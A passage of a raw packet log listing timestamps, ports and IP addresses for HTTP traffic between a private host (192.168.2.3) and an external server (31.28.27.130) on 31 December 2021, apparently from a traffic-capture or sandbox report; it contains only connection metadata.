Dec 31, 2021 19:12:58.388403893 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.388410091 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.388442993 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.388453960 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.388482094 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.388492107 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.388529062 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.388541937 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.388581991 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.388621092 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.388632059 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.388675928 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.388712883 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.388724089 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.388751984 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.388763905 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.388792038 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.388828993 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.388870955 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.388880968 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.388895988 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.388937950 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.388977051 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.388993025 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.388998985 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.389014959 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.389035940 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.389055967 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.389060974 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.389096022 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.389126062 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.389136076 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.389168024 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.389177084 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.389188051 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.389215946 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.389230013 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.389256954 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.389269114 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.389296055 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.389307022 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.389333963 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.389343023 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.389374971 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.389386892 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.389414072 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.389425993 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.389455080 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.389461994 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.389497042 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.389504910 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.389534950 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.389549017 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.389575958 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.389581919 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.389614105 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.389621019 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.389652014 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.389663935 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.389692068 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.389693975 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.389731884 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.389736891 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.389771938 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.389775038 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.389812946 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.389816046 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.389849901 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.389857054 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.389892101 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.389893055 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.389931917 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.389935970 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.389970064 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.389981985 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.390010118 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.390013933 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.390049934 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.390054941 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.390089989 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.390094995 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.390130043 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.390134096 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.390167952 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.390181065 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.390208960 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.390248060 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.390264988 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.390286922 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.390311956 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.390328884 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.390341043 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.390368938 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.390382051 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.390408993 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.390423059 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.390450954 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.390464067 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.390489101 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.390506983 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.390528917 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.390541077 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.390568972 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.390573978 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.390607119 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.390619040 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.390646935 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.390659094 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.390686989 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.390698910 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.390727997 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.390733957 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.390768051 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.390774012 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.390805006 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.390818119 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.390844107 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.390858889 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.390882969 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.390917063 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.390923977 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.390952110 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.390994072 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.391020060 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.391052961 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.391089916 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.391115904 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.432025909 CET	80	49818	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.432068110 CET	80	49818	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.432677031 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.432717085 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.432754993 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.432792902 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.432806015 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.432831049 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.432835102 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.432862043 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.432888985 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.432898045 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.432941914 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.432979107 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.432993889 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.433423042 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.439692020 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.439742088 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.439757109 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.439779997 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.439788103 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.439820051 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.439846039 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.439861059 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.439867973 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.439902067 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.439944029 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.439953089 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.439986944 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.440023899 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.440026045 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.440067053 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.440068960 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.440099955 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.440104961 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.440116882 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.440145016 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.440151930 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.440185070 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.440197945 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.440222979 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.440234900 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.440263033 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.440303087 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.440318108 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.440346003 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.440386057 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.440413952 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.440444946 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.440476894 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.440515995 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.440551996 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.440553904 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.440560102 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.440591097 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.440593958 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.440623999 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.440634012 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.440646887 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.440673113 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.440711975 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.440718889 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.440733910 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.440751076 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.440777063 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.440789938 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.440828085 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.440840960 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.441037893 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.441081047 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.441103935 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.441121101 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.441133976 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.441165924 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.441171885 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.441205025 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.441229105 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.441257000 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.441268921 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.441296101 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.441310883 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.441334009 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.441345930 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.441375971 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.441382885 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.441415071 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.441425085 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.441454887 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.441462040 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.441494942 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.441521883 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.441534042 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.441548109 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.441576004 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.441597939 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.441616058 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.441627026 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.441654921 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.441684961 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.441694021 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.441706896 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.441734076 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.441771030 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.441772938 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.441786051 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.441814899 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.441852093 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.441868067 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.441891909 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.441953897 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.441962004 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.441971064 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442012072 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442049026 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442086935 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.442087889 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442094088 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.442109108 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.442126989 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442157984 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.442167997 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442182064 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.442208052 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442236900 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.442246914 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442286015 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442286015 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.442311049 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.442323923 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442336082 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.442364931 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442401886 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442401886 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.442416906 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.442444086 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442466021 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.442483902 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442497015 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.442522049 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442536116 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.442562103 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442573071 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.442601919 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442625046 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.442641973 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442645073 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.442681074 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442687988 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.442719936 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442727089 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.442759991 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442764044 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.442800045 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442826986 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.442837954 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442848921 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.442878008 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442892075 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.442918062 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442930937 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.442955971 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.442995071 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443000078 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.443034887 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443073988 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443085909 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.443114996 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443120956 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.443152905 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443192005 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443198919 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.443231106 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443268061 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443279982 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.443306923 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443311930 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.443346977 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443386078 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443392992 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.443427086 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443466902 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443480015 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.443507910 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443537951 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.443547010 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443562031 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.443583965 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443599939 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.443624020 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443636894 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.443665028 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443692923 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.443703890 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443717957 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.443744898 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443758011 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.443783998 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443797112 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.443823099 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443836927 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.443865061 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443896055 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.443905115 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443936110 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443963051 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.443975925 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.443999052 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.444015026 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.444026947 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.444056034 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.444065094 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.444094896 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.444134951 CET	80	49816	31.28.27.130	192.168.2.3
